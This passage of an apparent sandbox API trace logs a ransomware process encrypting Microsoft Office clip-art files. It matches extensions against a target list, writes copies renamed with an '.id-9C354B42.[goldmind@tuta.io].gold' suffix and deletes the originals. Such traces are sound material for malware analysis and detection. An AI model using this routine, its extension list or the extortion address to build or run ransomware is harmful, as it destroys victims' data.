4 [0104.121] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".bz2") returned 4 [0104.121] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString=".7z") returned 3 [0104.121] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0104.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.121] lstrlenW (lpString=".dbf") returned 4 [0104.121] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0104.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.121] lstrlenW (lpString=".1cd") returned 4 [0104.121] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0104.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP") returned 63 [0104.121] lstrlenW (lpString=".jpg") returned 4 [0104.121] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0104.121] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.121] lstrlenW (lpString="J0101980.WMF") returned 12 [0104.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.129] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=16104) returned 1 [0104.129] CloseHandle (hObject=0x3b4) returned 1 [0104.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0104.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.134] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.134] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.135] GetLastError () returned 0x0 [0104.135] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0104.136] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0104.137] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.137] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.137] SetEndOfFile (hFile=0x198) returned 1 [0104.137] CloseHandle (hObject=0x198) returned 1 [0104.137] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.137] SetEndOfFile (hFile=0x3b4) returned 1 [0104.139] CloseHandle (hObject=0x3b4) returned 1 [0104.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0104.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.140] lstrlenW (lpString=".doc") returned 4 [0104.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.140] lstrlenW (lpString=".docx") returned 5 [0104.140] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.140] lstrlenW (lpString=".pdf") returned 4 [0104.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.140] lstrlenW (lpString=".xls") returned 4 [0104.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.141] lstrlenW (lpString=".xlsx") returned 5 [0104.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.141] lstrlenW (lpString=".ppt") returned 4 [0104.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".zip") returned 4 [0104.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.141] lstrlenW (lpString=".rar") returned 4 [0104.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".bz2") returned 4 [0104.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".7z") returned 3 [0104.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".dbf") returned 4 [0104.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".1cd") returned 4 [0104.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".jpg") returned 4 [0104.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".doc") returned 4 [0104.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".docx") returned 5 [0104.141] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.141] lstrlenW (lpString=".pdf") returned 4 [0104.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".xls") returned 4 [0104.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.141] lstrlenW (lpString=".xlsx") returned 5 [0104.141] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.141] lstrlenW (lpString=".ppt") returned 4 [0104.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.141] lstrlenW (lpString=".zip") returned 4 [0104.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.141] lstrlenW (lpString=".rar") returned 4 [0104.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".bz2") returned 4 [0104.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.141] lstrlenW (lpString=".7z") returned 3 [0104.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.142] lstrlenW (lpString=".dbf") returned 4 [0104.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.142] lstrlenW (lpString=".1cd") returned 4 [0104.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0104.142] lstrlenW (lpString=".jpg") returned 4 [0104.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.142] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.142] lstrlenW (lpString="J0102002.WMF") returned 12 [0104.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.142] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=15988) returned 1 [0104.142] CloseHandle (hObject=0x3b4) returned 1 [0104.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 0x20 [0104.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.143] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.143] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.143] GetLastError () returned 0x0 [0104.143] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x3e74, lpOverlapped=0x0) returned 1 [0104.145] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x3e80, lpOverlapped=0x0) returned 1 [0104.146] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.146] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.146] SetEndOfFile (hFile=0x198) returned 1 [0104.146] CloseHandle (hObject=0x198) returned 1 [0104.146] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.146] SetEndOfFile (hFile=0x3b4) returned 1 [0104.148] CloseHandle (hObject=0x3b4) returned 1 [0104.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0104.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.148] lstrlenW (lpString=".doc") returned 4 [0104.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.148] lstrlenW (lpString=".docx") returned 5 [0104.148] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.148] lstrlenW (lpString=".pdf") returned 4 [0104.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString=".xls") returned 4 [0104.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.149] lstrlenW (lpString=".xlsx") returned 5 [0104.149] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.149] lstrlenW (lpString=".ppt") returned 4 [0104.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".zip") returned 4 [0104.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.149] lstrlenW (lpString=".rar") returned 4 [0104.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString=".bz2") returned 4 [0104.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString=".7z") returned 3 [0104.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".dbf") returned 4 [0104.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".1cd") returned 4 [0104.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".jpg") returned 4 [0104.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".doc") returned 4 [0104.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString=".docx") returned 5 [0104.149] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.149] lstrlenW (lpString=".pdf") returned 4 [0104.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString=".xls") returned 4 [0104.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.149] lstrlenW (lpString=".xlsx") returned 5 [0104.149] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.149] lstrlenW (lpString=".ppt") returned 4 [0104.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.149] lstrlenW (lpString=".zip") returned 4 [0104.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.150] lstrlenW (lpString=".rar") returned 4 [0104.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.150] lstrlenW (lpString=".bz2") returned 4 [0104.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.150] lstrlenW (lpString=".7z") returned 3 [0104.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.150] lstrlenW (lpString=".dbf") returned 4 [0104.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.150] lstrlenW (lpString=".1cd") returned 4 [0104.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF") returned 63 [0104.150] lstrlenW (lpString=".jpg") returned 4 [0104.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.150] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.150] lstrlenW (lpString="J0102594.WMF") returned 12 [0104.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.150] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=27000) returned 1 [0104.150] CloseHandle (hObject=0x3b4) returned 1 [0104.150] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 0x20 [0104.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.151] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.151] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.152] GetLastError () returned 0x0 [0104.152] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x6978, lpOverlapped=0x0) returned 1 [0104.153] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x6980, lpOverlapped=0x0) returned 1 [0104.154] ReadFile (in: hFile=0x3b4, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.154] WriteFile (in: hFile=0x198, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.154] SetEndOfFile (hFile=0x198) returned 1 [0104.154] CloseHandle (hObject=0x198) returned 1 [0104.154] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.154] SetEndOfFile (hFile=0x3b4) returned 1 [0104.156] CloseHandle (hObject=0x3b4) returned 1 [0104.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0104.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.157] lstrlenW (lpString=".doc") returned 4 [0104.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.157] lstrlenW (lpString=".docx") returned 5 [0104.157] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.157] lstrlenW (lpString=".pdf") returned 4 [0104.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.157] lstrlenW (lpString=".xls") returned 4 [0104.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.157] lstrlenW (lpString=".xlsx") returned 5 [0104.157] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.157] lstrlenW (lpString=".ppt") returned 4 [0104.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".zip") returned 4 [0104.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.158] lstrlenW (lpString=".rar") returned 4 [0104.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".bz2") returned 4 [0104.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".7z") returned 3 [0104.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".dbf") returned 4 [0104.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".1cd") returned 4 [0104.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".jpg") returned 4 [0104.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".doc") returned 4 [0104.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".docx") returned 5 [0104.158] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0104.158] lstrlenW (lpString=".pdf") returned 4 [0104.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".xls") returned 4 [0104.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.158] lstrlenW (lpString=".xlsx") returned 5 [0104.158] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0104.158] lstrlenW (lpString=".ppt") returned 4 [0104.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".zip") returned 4 [0104.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.158] lstrlenW (lpString=".rar") returned 4 [0104.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".bz2") returned 4 [0104.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.158] lstrlenW (lpString=".7z") returned 3 [0104.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.158] lstrlenW (lpString=".dbf") returned 4 [0104.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF") returned 63 [0104.159] lstrlenW (lpString=".1cd") returned 4 [0104.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.159] lstrlenW 